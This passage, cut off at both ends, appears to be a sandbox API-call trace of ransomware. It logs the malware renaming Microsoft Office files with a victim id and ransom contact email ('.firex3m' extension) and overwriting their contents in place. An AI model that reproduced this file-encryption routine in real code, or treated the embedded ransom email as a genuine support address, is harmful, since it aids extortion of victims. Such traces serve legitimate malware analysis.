ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a9e866, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1da96143, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x3f7fd20, dwReserved1=0x6a54c8, cFileName="LYNC_BASIC_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~1.FIR")) returned 0x6d5000 [0147.166] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0147.167] Sleep (dwMilliseconds=0x1) [0147.220] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC", len=0x47 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC") returned 1 [0147.220] GetProcessHeap () returned 0x630000 [0147.220] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2694) returned 0x71f7c78 [0147.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0147.221] CloseHandle (hObject=0x6e0) returned 1 [0147.221] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.221] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.221] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~4.FIR")) returned 0x6d5280 [0147.222] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0147.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0147.222] GetProcessHeap () returned 0x630000 [0147.222] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c3e0 [0147.222] GetProcessHeap () returned 0x630000 [0147.222] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c6a8 [0147.222] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.222] ReadFile (in: hFile=0x6e0, lpBuffer=0x67c3e0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c3e0*, lpNumberOfBytesRead=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0147.226] GetProcessHeap () returned 0x630000 [0147.226] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0147.226] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x6e0, lpBuffer=0x67c6a8*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c6a8*, lpNumberOfBytesWritten=0x3f7ff0c*=0x280, lpOverlapped=0x0) returned 1 [0147.226] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x6e0, lpBuffer=0x67c927*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c927*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.226] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.226] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.226] CloseHandle (hObject=0x6e0) returned 1 [0147.226] GetProcessHeap () returned 0x630000 [0147.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c6a8 | out: hHeap=0x630000) returned 1 [0147.226] GetProcessHeap () returned 0x630000 [0147.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c3e0 | out: hHeap=0x630000) returned 1 [0147.226] GetProcessHeap () returned 0x630000 [0147.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0147.226] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.227] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1db2eb8e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x3f7fd20, dwReserved1=0x67c3e0, cFileName="LYNC_BASIC_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~4.FIR")) returned 0x6d5000 [0147.227] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0147.227] Sleep (dwMilliseconds=0x1) [0147.268] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS", len=0x43 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS") returned 1 [0147.268] GetProcessHeap () returned 0x630000 [0147.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2690) returned 0x71f7c78 [0147.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0147.269] CloseHandle (hObject=0x6a4) returned 1 [0147.269] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.385] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b5d49a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LY1009~1.FIR")) returned 0x6d5280 [0149.385] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0149.385] GetProcessHeap () returned 0x630000 [0149.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7083fd8 [0149.386] GetProcessHeap () returned 0x630000 [0149.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708f408 [0149.386] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.386] ReadFile (in: hFile=0x6a4, lpBuffer=0x7083fd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083fd8*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.406] GetProcessHeap () returned 0x630000 [0156.406] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0156.406] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.407] WriteFile (in: hFile=0x6a4, lpBuffer=0x708f408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708f408*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0156.407] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.407] WriteFile (in: hFile=0x6a4, lpBuffer=0x709a807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a807*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.673] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.673] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.673] CloseHandle (hObject=0x6a4) returned 1 [0158.673] GetProcessHeap () returned 0x630000 [0158.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708f408 | out: hHeap=0x630000) returned 1 [0158.674] GetProcessHeap () returned 0x630000 [0158.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083fd8 | out: hHeap=0x630000) returned 1 [0158.677] GetProcessHeap () returned 0x630000 [0158.677] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0158.677] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2486e601, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x21ca4, dwReserved0=0xcd87496, dwReserved1=0x7083fd0, cFileName="LYNC_BASIC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LY1009~1.FIR")) returned 0x6d5540 [0158.677] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0158.677] Sleep (dwMilliseconds=0x1) [0160.626] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml") returned 1 [0160.626] GetProcessHeap () returned 0x630000 [0160.626] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf0) returned 0x707d3d0 [0160.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0160.627] CloseHandle (hObject=0x4c8) returned 1 [0160.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.629] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x3, dwReserved1=0x800001, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5040 [0160.629] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0160.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0160.630] GetProcessHeap () returned 0x630000 [0160.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x6fa7a0 [0160.630] GetProcessHeap () returned 0x630000 [0160.630] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x6fd7b8 [0160.630] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.630] ReadFile (in: hFile=0x4c8, lpBuffer=0x6fa7a0, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa7a0*, lpNumberOfBytesRead=0x3f7ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0160.824] GetProcessHeap () returned 0x630000 [0160.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0160.824] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.824] WriteFile (in: hFile=0x4c8, lpBuffer=0x6fd7b8*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd7b8*, lpNumberOfBytesWritten=0x3f7ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0160.824] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.824] WriteFile (in: hFile=0x4c8, lpBuffer=0x6fe777*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe777*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.824] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.824] WriteFile (in: hFile=0x4c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.825] CloseHandle (hObject=0x4c8) returned 1 [0160.825] GetProcessHeap () returned 0x630000 [0160.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd7b8 | out: hHeap=0x630000) returned 1 [0160.825] GetProcessHeap () returned 0x630000 [0160.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa7a0 | out: hHeap=0x630000) returned 1 [0160.825] GetProcessHeap () returned 0x630000 [0160.825] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0160.825] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25cd856d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xff4, dwReserved0=0x3f7fd20, dwReserved1=0x6fa7a0, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0160.825] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0160.825] Sleep (dwMilliseconds=0x1) [0160.919] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl", len=0x62 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl") returned 1 [0160.920] GetProcessHeap () returned 0x630000 [0160.920] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc8) returned 0x707d3d0 [0160.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0160.931] CloseHandle (hObject=0x408) returned 1 [0160.931] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164d461d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164d461d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x700070, dwReserved1=0x72006f, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d5340 [0160.946] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0160.946] GetProcessHeap () returned 0x630000 [0160.946] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x705db00 [0160.946] GetProcessHeap () returned 0x630000 [0160.946] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x710d220 [0160.966] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.967] ReadFile (in: hFile=0x6f8, lpBuffer=0x705db00, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x705db00*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.544] GetProcessHeap () returned 0x630000 [0166.544] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0166.544] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.544] WriteFile (in: hFile=0x6f8, lpBuffer=0x710d220*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x710d220*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0166.545] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 